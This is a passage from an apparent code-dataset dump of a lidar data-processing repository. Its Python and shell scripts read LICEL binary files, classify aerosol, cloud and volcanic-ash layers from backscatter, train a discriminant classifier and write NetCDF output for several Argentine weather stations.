"b620ad9ddd4f804cb6bc2bca9ef71df36330fec0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7623, "license_type": "no_license", "max_line_length": 93, "num_lines": 207, "path": "/Inversion/Classify.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport numpy as np\nimport scipy.integrate as integrate\nimport Physics\nimport pickle\n\n\"\"\"\n#PARA NIES\nthVFMac = 0.0000005 # Molecule/Aerosol\nthVFMar = 0.000003 # Aerosol/Unknown\nthVFMra = 0.000009 # Unknown/rain-fog\nthVFMcl = 0.00001 # cloud\n\"\"\"\n\n#PARA SMN\nthVFMac = 0.0005 # Molecule/Aerosol\nthVFMar = 0.003 # Aerosol/Unknown\nthVFMra = 0.009 # Unknown/rain-fog\nthVFMcl = 0.01 # cloud\n\n# TIPOS DE AEROSOLES\nUNDEFINED = -1\nNO_DATA = 0\nNOISY = 1\nMOLECULE = 2\nCLEAN = 3\nAEROSOL = 4\nUNKNOWN = 5\nRAIN_FOG_CLOUD = 6\nCLOUD = 7\nSATURATED = 8\nUNKNOWN2 = 9 # REVISAR!!!!\n\n\ndef classify_tomoaki(absc1064, alt, NT, NZ1, stationHeight):\n print(\"Altura de estacion: \", stationHeight)\n # Levantamos absc.\n #plt.plot(np.log(np.abs(absc1064[:,0])), range(NZ1), 'r')\n #plt.show()\n #print(\"absc1064: \", absc1064)\n # Transposicion...\n #print(\"absc1064: \", absc1064)\n mask = np.zeros((NT, NZ1))\n # Calculos moleculares\n alturasMetros = [0.0]\n for i in range(0, NZ1):\n alturasMetros.append(1000.0*alt[i])\n #print(\"Alturos Metros: \", alturasMetros)\n np_alturas_metros = np.array(alturasMetros)\n betaR, alfaR = Physics.rayleigh(np_alturas_metros, 1064.0, stationHeight)\n #print(\"Beta: \", betaR)\n #print(\"Alfa: \", alfaR)\n optM_array = integrate.cumtrapz(alfaR, alturasMetros)\n #print(\"OptM: \", optM_array)\n #\n for indexT in range(0, NT):\n if indexT % 50 == 0:\n print(\"INdex T: \", indexT)\n # ACA SE DEBE HACER EL ALGORITMO DE NISHIZAWA.\n lower = NZ1 - 50\n upper = NZ1\n tail = absc1064[indexT, lower:upper].copy()\n for indexA in range(lower, upper):\n tail[indexA - lower] = tail[indexA - lower] / (alt[indexA]**2.0)\n #print(\"Tail: \", tail)\n #sys.exit(0)\n std = np.nanstd(tail)\n #print(\"std: \", std)\n stdNoise = np.zeros(NZ1)\n for indexA in range(0, len(stdNoise)):\n stdNoise[indexA] = std * (alt[indexA]**2.0)\n #print (\"Absc \\t StdNoise\")\n #for i in range(NZ1):\n # print(str(absc1064[indexT, i]) + \"\\t\" + str(stdNoise[i]))\n #plt.plot(np.log(np.abs(absc1064[indexT,:])), range(NZ1), 'r')\n #plt.plot(np.log(stdNoise), range(NZ1), 'b')\n #plt.show()\n #print(\"absc1064: \", absc1064[indexT,:])\n #sys.exit(0)\n #print(\"Absc 1064: \", absc[indexT,:])\n #print(\"StdNoise: \", stdNoise)\n bn_array = np.zeros(NZ1)\n th2_array = np.zeros(NZ1)\n th3_array = np.zeros(NZ1)\n th4_array = np.zeros(NZ1)\n for indexA in range(0, NZ1):\n bn = absc1064[indexT, indexA]\n #bn = bn*1000 # Prueba, no cambio mucho.\n bnns = stdNoise[indexA]\n bscM = betaR[indexA] \n optM = optM_array[indexA] \n th0 = -1.0\n th1 = 3.0*bnns\n th2 = 3.0*bnns + bscM*np.exp(-2.0*optM)\n th3 = 3.0*bnns + (bscM+thVFMac)*np.exp(-2.0*optM)\n th4 = 3.0*bnns + (bscM+thVFMar)*np.exp(-2.0*optM) \n th5 = 3.0*bnns + (bscM+thVFMra)*np.exp(-2.0*optM) \n th6 = 3.0*bnns + (bscM+thVFMcl)*np.exp(-2.0*optM) \n th7 = 0.9e10\n maskPos = UNDEFINED\n if (bn <= th0 or np.isnan(bn)):\n maskPos = NO_DATA\n elif (bn > th0 and bn <= th1):\n maskPos = NOISY\n elif (bn > th1 and bn <= th2):\n maskPos = MOLECULE\n elif (bn > th2 and bn <= th3):\n maskPos = CLEAN\n elif (bn > th3 and bn <= th4):\n maskPos = AEROSOL\n elif (bn > th4 and bn <= th5):\n maskPos = UNKNOWN\n elif (bn > th5 and bn <= th6):\n maskPos = RAIN_FOG_CLOUD\n elif (bn > th6 and bn <= th7):\n maskPos = CLOUD\n else:\n maskPos = SATURATED\n mask[indexT, indexA] = maskPos\n bn_array[indexA] = bn\n th2_array[indexA] = th2\n th3_array[indexA] = th3\n th4_array[indexA] = th4\n if indexT == 40:\n #plt.plot(range(NZ1), np.log10(np.abs(bn_array)), 'r')\n #plt.plot(range(NZ1), np.log10(th2_array), 'b')\n #plt.plot(range(NZ1), np.log10(th3_array), 'c')\n #plt.plot(range(NZ1), np.log10(th4_array), 'm')\n #plt.show()\n #sys.exit(0)\n pass\n nvfm = np.zeros((NT, NZ1))\n for indexT in range(0, NT):\n for indexA in range(0, NZ1):\n nvfm[indexT, indexA] = mask[indexT, indexA]\n # Dense aerosol at lower layer adjustment.\n for indexT in range(0, NT):\n for indexA in range(0,NZ1):\n if alt[indexA] <= 0.1: # La altura menor a 100 metros...\n if (nvfm[indexT, indexA] == RAIN_FOG_CLOUD or nvfm[indexT, indexA] == CLOUD):\n nvfm[indexT, indexA] = UNKNOWN\n mask[indexT, indexA] = UNKNOWN\n # Around Cloud adjustment.\n for indexT in range(0,NT):\n for indexA in range(0,NZ1):\n if mask[indexT, indexA] >= CLOUD:\n for itt in range(-1,2):\n for iaa in range(-3,4):\n ittt = indexT + itt\n iaaa = indexA + iaa\n if ittt < 0 or ittt >= NT:\n continue\n elif iaaa < 0 or iaaa >= NZ1:\n continue\n elif np.isnan(absc1064[ittt, iaaa]):\n continue\n elif (nvfm[ittt, iaaa] >=CLEAN and nvfm[ittt, iaaa] <=UNKNOWN):\n nvfm[ittt, iaaa] = RAIN_FOG_CLOUD\n \n # Above cloud/rain/fog\n for indexT in range(0,NT):\n for indexA in range(0,NZ1):\n if nvfm[indexT, indexA] >= RAIN_FOG_CLOUD and indexA < NT - 1:\n for iaa in range(indexA + 1, NZ1):\n if nvfm[indexT, iaa] <= UNKNOWN and nvfm[indexT, iaa] >= NOISY:\n nvfm[indexT, iaa] = UNKNOWN2\n \n \n # Reescribimos la mascara.\n #for i in range(NT):\n # for j in range(NZ1):\n # nvfm[i,j] = 5.0\n #ncFile.variables[\"mask\"][:,:] = nvfm[:,:]\n #ncFile.close()\n return nvfm\n\ndef get_ash_concentration(NT, NZ1, absc1064, absc532, mask, fname):\n color_ratio = np.zeros((NT, NZ1))\n for i in range(NT):\n for j in range(NZ1):\n color_ratio[i,j] = absc532[i,j] / absc1064[i,j]\n logAbsc1064 = np.log(absc1064)\n # Cargamos el discriminador.\n ash_mask = np.zeros((NT, NZ1))\n ash_conc = np.zeros((NT, NZ1))\n with open(fname, 'rb') as f:\n # The protocol version used is detected automatically, so we do not\n # have to specify it.\n disc = pickle.load(f)\n for i in range(NT):\n for j in range(NZ1):\n log_bsc = logAbsc1064[i,j]\n colorR = color_ratio[i,j]\n if mask[i,j] >= AEROSOL and mask[i,j] <= CLOUD:\n label = disc.predict([(log_bsc, colorR)])[0]\n if label == 1:\n ash_mask[i,j] = 1\n ash_conc[i,j] = 1.5*50.0*absc1064[i,j]\n else:\n ash_mask[i,j] = 0\n ash_conc[i,j] = 0.0\n else:\n ash_mask[i,j] = 0\n ash_conc[i,j] = 0.0\n \n return ash_mask, ash_conc\n\n\n" }, { "alpha_fraction": 0.5458791851997375, "alphanum_fraction": 0.5745745897293091, "avg_line_length": 33.44827651977539, "blob_id": "22bc44f9102bfc63e89112649345004f7a8dfd52", "content_id": "a882412d7ac76976aa9fbd1d1762dc6fa3d161fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2997, "license_type": "no_license", "max_line_length": 71, "num_lines": 87, "path": "/Utilities/Trainer/train.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 5 11:23:29 2018\n\"\"\"\n\n#from configparser import SafeConfigParser\n#from netCDF4 import Dataset\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nfrom sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\nimport pickle\nfrom matplotlib import colors\n\n\ndef generate_qda_advanced_plot():\n file_ash = \"./AEP15_04_25_ash_time.txt\"\n file_cloud = \"./AEP16_12_13_cloud_time.txt\"\n ash_data = np.loadtxt(file_ash, skiprows=1)\n cloud_data = np.loadtxt(file_cloud, skiprows=1)\n x_ash = np.log(ash_data[:,4])\n y_ash = ash_data[:,5]\n labels_ash = np.ones(len(x_ash))*1\n x_cloud = np.log(cloud_data[:,4])\n y_cloud = cloud_data[:,5]\n labels_cloud = np.ones(len(x_cloud))*2\n x_min = np.min( (np.min(x_ash), np.min(x_cloud)))\n x_max = np.max( (np.max(x_ash), np.max(x_cloud)))\n y_min = np.min( (np.min(y_ash), np.min(y_cloud)))\n y_max = np.max( (np.max(y_ash), np.max(y_cloud)))\n labels = np.zeros(len(x_ash) + len(x_cloud))\n x = np.zeros((len(x_ash) + len(x_cloud),2))\n for i in range(len(labels_ash)):\n labels[i] = labels_ash[i]\n x[i,0] = x_ash[i]\n x[i,1] = y_ash[i]\n for i in range(len(labels_cloud)):\n labels[i + len(labels_ash)] = labels_cloud[i]\n x[i + len(labels_ash), 0] = x_cloud[i]\n x[i + len(labels_ash), 1] = y_cloud[i]\n print(\"X: \", x)\n print(\"Labels: \", labels)\n disc = QuadraticDiscriminantAnalysis()\n disc.fit(x, labels)\n # Grafica.\n x_grid = np.linspace(x_min, x_max, 100)\n y_grid = np.linspace(y_min, y_max, 100)\n data = np.zeros((len(x_grid), len(y_grid)))\n for i in range(len(x_grid)):\n for j in range(len(y_grid)):\n data[i,j] = disc.predict([(x_grid[i], y_grid[j])])\n #plt.imshow(data.transpose(), origin=\"lower\")\n #plt.show()\n # Pickleado del discriminador.\n with open(\"disc.pickle\", \"wb\") as f:\n pickle.dump(disc, f, pickle.HIGHEST_PROTOCOL)\n alpha = 0.5\n\n cmap = colors.LinearSegmentedColormap(\n 'red_blue_classes',\n {'red': [(0, 1, 1), (1, 0.7, 0.7)],\n 'green': [(0, 0.7, 0.7), (1, 0.7, 0.7)],\n 'blue': [(0, 0.7, 0.7), (1, 1, 1)]})\n plt.cm.register_cmap(cmap=cmap)\n\n # class 0: dots\n plt.plot(x_ash, y_ash, 'o', alpha=alpha,\n color='red', markeredgecolor='k')\n\n # class 1: dots\n plt.plot(x_cloud, y_cloud, 'o', alpha=alpha,\n color='blue', markeredgecolor='k')\n nx, ny = 100, 100\n x_min, x_max = plt.xlim()\n y_min, y_max = plt.ylim()\n xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx),\n np.linspace(y_min, y_max, ny))\n Z = disc.predict_proba(np.c_[xx.ravel(), yy.ravel()])\n Z = Z[:, 1].reshape(xx.shape)\n plt.pcolormesh(xx, yy, Z, cmap='red_blue_classes',\n norm=colors.Normalize(0., 1.))\n plt.contour(xx, yy, Z, [0.5], linewidths=2., colors='k')\n plt.show()\n\ngenerate_qda_advanced_plot()\n" }, { "alpha_fraction": 0.5633587837219238, "alphanum_fraction": 0.5862595438957214, "avg_line_length": 44.651161193847656, "blob_id": "a4b4b0e28fe4c50d0ff283db1a211ebae9a4ac53", "content_id": "98b8b08f167a9009cd5f8704011de5141b39b731", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1965, "license_type": "no_license", "max_line_length": 104, "num_lines": 43, "path": "/Reading/main.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport ReadRaw\nfrom datetime import datetime, timedelta\nimport os.path\nfrom ConfigParser import SafeConfigParser\n\n################# Parameters ###############################################\ncfgpath = \"../\" # Path with cfg file\ncfgfile = \"parameters.cfg\" # CFG file\nstation_block = 'Comodoro' # Configuration block\npath = \"/home/leonardo/Doctorado/Japan2017/desarrollos/Data/\" # Path with input binary data\nt1 = datetime(year=2015, month=2, day=15, hour=13, minute=0) # Start date and time\nt2 = datetime(year=2017, month=2, day=17, hour=18, minute=0) # Final date and time\nDebug = True\n############################################################################\n\nconfig = SafeConfigParser()\nconfig.read(cfgpath+cfgfile)\n\n#Read parameters from an external file\nblock = station_block\nsampling = config.getint(block, \"sampling\")\nprefix = config.get(block, \"prefix\")\nncpath_raw = config.get(\"Paths\", \"ncpath_raw\")\nncfile_raw = config.get(\"Paths\", \"ncfile_raw\")\n\nprint \"Program for reading binary data from LICEL\"\nprint \"Output file (NetCDF format): {}\".format(prefix+ncfile_raw)\nt1_data, t2_data = ReadRaw.findtimes(t1,t2,sampling,path,prefix,ncpath_raw+prefix+ncfile_raw)\nprint \"Time range: {}-{}\".format(t1_data, t2_data)\nif t2_data>t1_data:\n x, y1, y2, y3, z, height = ReadRaw.get_data(t1_data,t2_data,sampling,path,prefix)\n if os.path.isfile(ncpath_raw+prefix+ncfile_raw):\n print \"Updating file: \", prefix+ncfile_raw\n ReadRaw.updatencd(x, y1, y2, y3, z, ncpath_raw+prefix+ncfile_raw)\n else:\n print \"Creating a new file: \", prefix+ncfile_raw\n ReadRaw.createncd(x, y1, y2, y3, z, height, ncpath_raw+prefix+ncfile_raw)\nelse:\n print \"Nothing to do\"\n print \"Waiting for new data\"\nprint \"******** Done ! **********\"\n\n\n" }, { "alpha_fraction": 0.45520421862602234, "alphanum_fraction": 0.47793149948120117, "avg_line_length": 34.48537826538086, "blob_id": "aa1f3a79c07d716344391fc0a55085671505ac7a", "content_id": "43cd53ddd6c707b4a659f7d804d3dd07fc948879", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6072, "license_type": "no_license", "max_line_length": 107, "num_lines": 171, "path": "/Reading/LoadLicel.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport numpy as np\nfrom parse import parse\nimport struct\n\n################# Parameters ####################\nDebug = True\n#################################################\n\nclass GlobalParameters(object):\n def __init__(self,line1,line2,line3):\n self.Name = line1.strip()\n\n s=parse(\"{} {:tg} {:tg} {:g} {:f} {:f} {:g}\",line2.strip())\n self.Station = s[0]\n self.Start = s[1]\n self.End = s[2]\n self.HeightASL = s[3]\n self.Longitude = s[4]\n self.Latitude = s[5]\n self.ZenithAngle = s[6]\n\n s=parse(\"{:d} {:d} {:d} {:d} {:d}\",line3.strip())\n self.Laser1Shots = s[0]\n self.Laser1Frequency = s[1]\n self.Laser2Shots = s[2]\n self.Laser2Frequency = s[3]\n self.NumChannels = s[4]\n\nclass Channel(object):\n def __init__(self,line):\n s=parse(\"{:d} {:d} {:d} {:d} {:d} {:g} {:f} {:d}.{:w} 0 0 00 000 {:d} {:d} {:g} {:w}{:d}\",line.strip())\n self.isActive = s[0]==1\n if s[1]==1:\n self.isPhotonCounting = 'p'\n else:\n self.isPhotonCounting = 'o'\n self.LaserNumber = s[2]\n self.Bins = s[3]\n self.isHV = s[4]\n self.Votage = s[5]\n self.BinSize = s[6]\n self.Wavelength = s[7]\n self.isPolarized = s[8]\n #Correction for Cordoba station\n if self.isPolarized=='s': self.isPolarized='o'\n self.ADC = s[9]\n self.Shots = s[10]\n if self.Shots==0:\n self.Shots=301\n if Debug: print \"Assuming {} shots\".format(self.Shots)\n if self.isPhotonCounting=='p': \n self.Scale = s[11]\n else: \n self.Scale = s[11] * 1000.0 \n self.Transien = s[13]\n\n self.Key = \"{}{}{}\".format(self.Wavelength,\n\t \t self.isPolarized,\n\t \t self.isPhotonCounting)\n\n def set_data(self, data):\n if self.isPhotonCounting=='p':\n ScaleFactor = 150.0/self.BinSize # Signal [MCPS] (Mega Counts Per Second)\n else:\n ScaleFactor = self.Scale / (2**self.ADC - 1) # Signal [mV].\n self.Signal = data * ScaleFactor / self.Shots # Signal [MCPS] or [mV]\n self.Range = ( np.arange(self.Bins)+1 ) * self.BinSize # Range [m]\n\nclass LoadLicel(object):\n \"\"\"\n Description:\n Function that Loads Licel data recorded by Licel VI's\n \n Input Parameters:\n FileName: The LICEL File Name\n \n Output Structure:\n \n data\n |\n |\n |_ GlobalParameters\n | |_ HeightASL : Station Height [m]\n | |_ Latitude : Station Latitude [deg]\n | |_ Longitude : Station Longitude [deg]\n | |_ ZenithAngle : Laser Zenith Angle [deg]\n | |_ Laser1Shots : Number of Acquired Shots [-]\n | |_ Laser1Frequency : Laser Repetition Rate [Hz]\n | |_ Laser2Shots : Number of Acquired Shots [-]\n | |_ Laser2Frequency : Laser Repetition Rate [Hz]\n | |_ Channels : Active Channels [-]\n |\n |_ Channel\n |_ isActive : Is it active? (T/F) [-] \n |_ isPhotonCounting : Is PhCount (T) or Analog (F)? [-]\n |_ LaserNumber : To which Laser is it associated? [-]\n |_ Bins : Number of acquired bins [-]\n |_ isHV : (T) for HV on [-]\n |_ Votage : Voltage of the PMT / APD [V]\n |_ BinSize : Size of the bin [m]\n |_ Wavelength : Detection wavelength [nm]\n |_ ADC : Number of eq. bits of the ADC [-]\n |_ Shots : Number of acquired shots [-]\n |_ Scale : Voltage scale or Threshold level [mV]\n |_ Transient : Associated transient recorder [-]\n |_ Signal : Signal [mV] or [MCPS]\n |_ Range : Altitude Scale [m AGL]\n |_ Time : Time Scale from first record [hours]\n \n or data = -1 if there is an error\n \"\"\"\n def __init__(self, fname, channel_list):\n self.channel = {}\n try:\n with open(fname, mode='rb') as file:\n \tl1 = file.readline()\n \tl2 = file.readline()\n \tl3 = file.readline()\n self.GlobalP = GlobalParameters(l1,l2,l3)\n channels = []\n for i in range(self.GlobalP.NumChannels):\n\t new_channel = Channel(file.readline())\n\t channels.append(new_channel)\n #Reading binary data...\n offset = 0\n for item in channels:\n if item.Key in channel_list: \n #print \"Found: {}\".format(item.Key)\n file.seek(offset+2,1)\n item.set_data(np.fromfile(file,dtype=\"<u4\",count=item.Bins))\n self.channel[item.Key] = item\n offset = 0\n else:\n offset += 4*item.Bins + 2\n except IOError as e:\n print \"I/O error({0}): {1}\".format(e.errno, e.strerror)\n\ndef load355(fname):\n try:\n with open(fname, mode='rb') as file:\n file.seek(20)\n return np.fromfile(file,dtype=\"<u4\")\n except IOError as e:\n print \"I/O error({0}): {1}\".format(e.errno, e.strerror)\n return False\n\nif __name__ == \"__main__\":\n import matplotlib.pyplot as plt\n\n path=\"./\"\n fname=\"a1841517.453007\"\n a=LoadLicel(path+fname, [\"355oo\",\"532oo\",\"532po\",\"1064oo\"])\n\n fig, ax = plt.subplots()\n\n z = a.channel[\"1064oo\"].Range\n y =[]\n for item in a.channel.keys(): \n print item\n ax.semilogx(z,a.channel[item].Signal,label=item)\n print a.GlobalP.HeightASL\n print a(0)\n\n #ax.set_ylim([3.65E6,3.69E6])\n #ax.legend()\n plt.show()\n \t#print file.readline()\n \t#for item in range(20): f.read(4)\n \t#f.seek(25, 1)\n \t\n" }, { "alpha_fraction": 0.698847234249115, "alphanum_fraction": 0.7334293723106384, "avg_line_length": 39.764705657958984, "blob_id": "cfaca8b6742c88fd939c01a594ce52085a4d4c32", "content_id": "1b35c00fffeebc81a2d64660edac880140650626", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 694, "license_type": "no_license", "max_line_length": 64, "num_lines": 17, "path": "/make_all.sh", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nversion=2.1\nRUNPATH=/home/lmingari/lidar_v$version\nOUTPATH=/home/lmingari/salida\n\n$RUNPATH/main.py $1 > $OUTPATH/$1/last.log 2>&1\n\n#$RUNPATH/main.py aeroparque > $OUTPATH/aeroparque/last.log 2>&1\n#$RUNPATH/main.py bariloche > $OUTPATH/bariloche/last.log 2>&1\n#$RUNPATH/main.py comodoro > $OUTPATH/comodoro/last.log 2>&1\n#$RUNPATH/main.py cordoba > $OUTPATH/cordoba/last.log 2>&1\n#$RUNPATH/main.py neuquen > $OUTPATH/neuquen/last.log 2>&1\n#$RUNPATH/main.py gallegos > $OUTPATH/gallegos/last.log 2>&1\n#$RUNPATH/main.py tucuman > $OUTPATH/tucuman/last.log 2>&1\n#$RUNPATH/main.py parenas > $OUTPATH/parenas/last.log 2>&1\n#$RUNPATH/main.py vmartelli > $OUTPATH/vmartelli/last.log 2>&1\n\n" }, { "alpha_fraction": 0.5198375582695007, "alphanum_fraction": 0.5560762286186218, "avg_line_length": 30.382352828979492, "blob_id": "3b16d3f6ebf98eb1f58bfe3b6e1ac452a9d88d97", "content_id": "383767712757d072f9778162a8a8807c2e506daf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3201, "license_type": "no_license", "max_line_length": 106, "num_lines": 102, "path": "/Utilities/Power/main.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport numpy as np\nfrom netCDF4 import Dataset, num2date\nfrom datetime import datetime, timedelta\nfrom ConfigParser import SafeConfigParser\nimport Plots\n\n################# Parameters ###############################################\ncfgfile = \"../../parameters.cfg\"\nblock = \"Cordoba\"\nDebug = True\n############################################################################\n\nconfig = SafeConfigParser()\nconfig.read(cfgfile)\n\n#Read parameters from an external file (string case)\nstation = config.get(block, \"prefix\")\nncpath_raw = config.get(\"Paths\", \"ncpath_raw\")\nncfile_raw = config.get(\"Paths\", \"ncfile_raw\")\n\n### Read Time, Data (mV), Heigth (km)\nds = Dataset(ncpath_raw+station+ncfile_raw)\nch1 = ds.variables[\"ch1\"][:]\nch2 = ds.variables[\"ch2\"][:]\nch3 = ds.variables[\"ch3\"][:]\nz = ds.variables[\"alt\"][:]\ntimes = ds.variables[\"time\"]\nday_0 = datetime(year=ds.YEAR, month=ds.MONTH, day=ds.DAY)\nheight = ds.HEIGHT\nx = num2date(times[:],units=times.units)\nds.close()\n\nch1 = ch1.T\nch2 = ch2.T\nch3 = ch3.T\n\n### Number of profiles and vertical levels\nNX = len(x)\nNZ = len(z)\n\n### Background removed and range-corrected signal intensity\nfor it in range(NX):\n coeff = np.polyfit(z[-1000:], ch1[-1000:,it], 1)\n pol = np.poly1d(coeff)\n ch1[:,it] = (ch1[:,it] - pol(z))*z**2\n ###\n coeff = np.polyfit(z[-1000:], ch2[-1000:,it], 1)\n pol = np.poly1d(coeff)\n ch2[:,it] = (ch2[:,it] - pol(z))*z**2\n ###\n coeff = np.polyfit(z[-1000:], ch3[-1000:,it], 1)\n pol = np.poly1d(coeff)\n ch3[:,it] = (ch3[:,it] - pol(z))*z**2\n\nif Debug:\n print \"Max Value for channel 1: {} mV km2\".format(np.nanmax(ch1))\n print \"Max Value for channel 2: {} mV km2\".format(np.nanmax(ch2))\n print \"Max Value for channel 3: {} mV km2\".format(np.nanmax(ch3))\n\ndef power(x, filename):\n print \"**** Function power ****\"\n c1 = np.ones_like(x, dtype=np.float)\n c2 = np.ones_like(x, dtype=np.float)\n c3 = np.ones_like(x, dtype=np.float)\n dtype1 = np.dtype([('time', 'object'), ('cvis_par', 'f8'), ('cvis_per', 'f8'), ('cir', 'f8')])\n fmt = \"%Y-%m-%d_%H:%M\"\n try:\n data = np.loadtxt(filename, dtype=dtype1, converters={0: lambda x: datetime.strptime(x, fmt)})\n for item in data:\n if item['time']<=x[0]: \n continue\n elif item['time']>=x[-1]: \n break\n else:\n if Debug: \n print \"Applying power correction for \", item[\"time\"]\n print \"cvis_par={} - cvis_per={} - cir={}\".format(item['cvis_par'],item['cvis_per'],item['cir'])\n for ix in range(NX):\n if item['time']<x[ix]:\n c1[ix] = c1[ix] * item['cvis_par']\n c2[ix] = c2[ix] * item['cvis_per']\n c3[ix] = c3[ix] * item['cir']\n except IOError:\n if Debug: print \"Power file not found: {}\".format(filename)\n return c1, c2, c3\n \n#Plots.show_raw(x,ch3,z,zmax=18.,vmax=1.)\n\nc1, c2, c3 = power(x,\"power.cfg\")\n\nfor ix in range(NX):\n ch1[:,ix] = ch1[:,ix] * c1[ix]\n ch2[:,ix] = ch2[:,ix] * c2[ix]\n ch3[:,ix] = ch3[:,ix] * c3[ix]\n \nDZ = z[1]-z[0]\nDZinv = 1.0/DZ\niz = int(round(0.6 * DZinv))-1\nPlots.xy(x,ch2[iz,:])\n#Plots.show_raw(x,ch1,z,zmax=18.,vmax=10.)\n" }, { "alpha_fraction": 0.5638179779052734, "alphanum_fraction": 0.5677025318145752, "avg_line_length": 31.745454788208008, "blob_id": "18baef90494455bbb5f0c7f03ac313638161e365", "content_id": "e8ee4ba739274fbf5838e81bc2355cec796d4c58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1802, "license_type": "no_license", "max_line_length": 104, "num_lines": 55, "path": "/make.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nfrom os.path import isfile, join\nimport sys\nfrom Reading import ReadRaw\nfrom Inversion import Invert532\nfrom datetime import datetime, timedelta, time\nfrom ConfigParser import SafeConfigParser\nfrom Web import WEBoutput\n\n################# Parameters ###############################################\ncfgpath = \"./\" # Absolute Path with cfg file\ncfgfile = \"parameters.cfg\" # CFG file\nDebug = True\n############################################################################\n\nstation_list = ['aeroparque',\n 'bariloche',\n 'comodoro',\n 'cordoba',\n 'gallegos',\n 'neuquen',\n 'parenas',\n 'tucuman',\n\t\t 'vmartelli']\n\nstation_block = sys.argv[1]\n\nif station_block in station_list:\n print \"Working for station {}\".format(station_block)\nelse:\n print \"{} is not a valid station\".format(station_block)\n print \"Posible options:\"\n for item in station_list: print item\n exit()\n\nconfig = SafeConfigParser()\nconfig.read(cfgpath+cfgfile)\n\n#Read parameters from an external file\nblock = station_block\nprefix = config.get(block, \"prefix\")\nncpath_raw = config.get(\"Paths\", \"ncpath_raw\")\nncfile_raw = config.get(\"Paths\", \"ncfile_raw\")\nncpath_out = config.get(\"Paths\", \"ncpath_out\")\nncfile_out = config.get(\"Paths\", \"ncfile_out\")\n\nif isfile(ncpath_raw+prefix+ncfile_raw):\n print \"Working with file: \", ncpath_raw+prefix+ncfile_raw\n Invert532.invert(block,cfgpath+cfgfile)\n WEBoutput.CreateJS(block, join(ncpath_out,block), ncfile_out)\nelse:\n print \"Unable to open file: \", ncpath_raw+prefix+ncfile_raw\n print \"Nothing to do\"\nprint \"******** Done ! **********\"\n\n" }, { "alpha_fraction": 0.48078614473342896, "alphanum_fraction": 0.5255206823348999, "avg_line_length": 30.419355392456055, "blob_id": "58268dd1f4037825e3d7554ba3e86bf0acadc57c", "content_id": "81bebdf334abc14779101fa78371e93e36f985f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6818, "license_type": "no_license", "max_line_length": 110, "num_lines": 217, "path": "/Inversion/InOut.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nfrom netCDF4 import Dataset, num2date, date2num\nfrom datetime import datetime, timedelta, time\nimport numpy as np\nimport os\n\n################# Parameters ###############################################\nDebug = True\n############################################################################\n\ndef save_ncd(filename, station, x, lz, absc532, absc1064, ldep, dust, sphere, zb, zt, zpbl, invtop, NZ1, NZ2):\n if Debug:\n print \"**********************\"\n print \"Creating output file: {}\".format(filename)\n ### Dimensions\n ncfile = Dataset(filename,'w',format=\"NETCDF3_CLASSIC\") \n ncfile.createDimension(\"time\", None)\n ncfile.createDimension(\"alt1\", NZ1)\n ncfile.createDimension(\"alt2\", NZ2)\n\n ### Coordinate variables\n time = ncfile.createVariable(\"time\",\"f4\",(\"time\",))\n alt1 = ncfile.createVariable(\"alt1\",\"f4\",(\"alt1\",))\n alt2 = ncfile.createVariable(\"alt2\",\"f4\",(\"alt2\",))\n\n ### Coordinate variable attributes\n alt1.units = \"km\"\n alt1.description = \"altitude\"\n alt1[:] = lz[:NZ1]\n\n alt2.units = \"km\"\n alt2.description = \"altitude\"\n alt2[:] = lz[:NZ2]\n \n day_0 = x[0]\n time.units = day_0.strftime(\"minutes since %Y-%m-%d 00:00:00\")\n time.description = \"time after 0000UTC\"\n time[:] = date2num(x,units=time.units)\n\n ### Variables\n bsc1 = ncfile.createVariable(\"bsc532\",\"f4\",(\"time\",\"alt1\",))\n bsc1.units = \"/sr /km\"\n bsc1.description = \"Attenuated Backscatter coefficient (532 nm)\"\n bsc1[:,:] = 1000.0*(absc532[:NZ1,:]).T\n\n bsc2 = ncfile.createVariable(\"bsc1064\",\"f4\",(\"time\",\"alt1\",))\n bsc2.units = \"/sr /km\"\n bsc2.description = \"Attenuated Backscatter coefficient (1064 nm)\"\n bsc2[:,:] = 1000.0*(absc1064[:NZ1,:]).T\n\n dep1 = ncfile.createVariable(\"dep\",\"f4\",(\"time\",\"alt1\",))\n dep1.units = \"\"\n dep1.description = \"Volume Depolarization ratio\"\n dep1[:,:] = (ldep[:NZ1,:]).T\n\n ext1 = ncfile.createVariable(\"ext_d\",\"f4\",(\"time\",\"alt2\",))\n ext1.units = \"/km\"\n ext1.description = \"Extinction coefficient - Non spherical particles\"\n ext1[:,:] = 1000.0*(dust[:NZ2,:]).T\n\n ext2 = ncfile.createVariable(\"ext_s\",\"f4\",(\"time\",\"alt2\",))\n ext2.units = \"/km\"\n ext2.description = \"Extinction coefficient - Spherical particles\"\n ext2[:,:] = 1000.0*(sphere[:NZ2,:]).T\n\n zb1 = ncfile.createVariable(\"zb\",\"f4\",(\"time\",))\n zb1.units = \"km\"\n zb1.description = \"Cloud Bottom\"\n zb1[:] = zb\n\n zt1 = 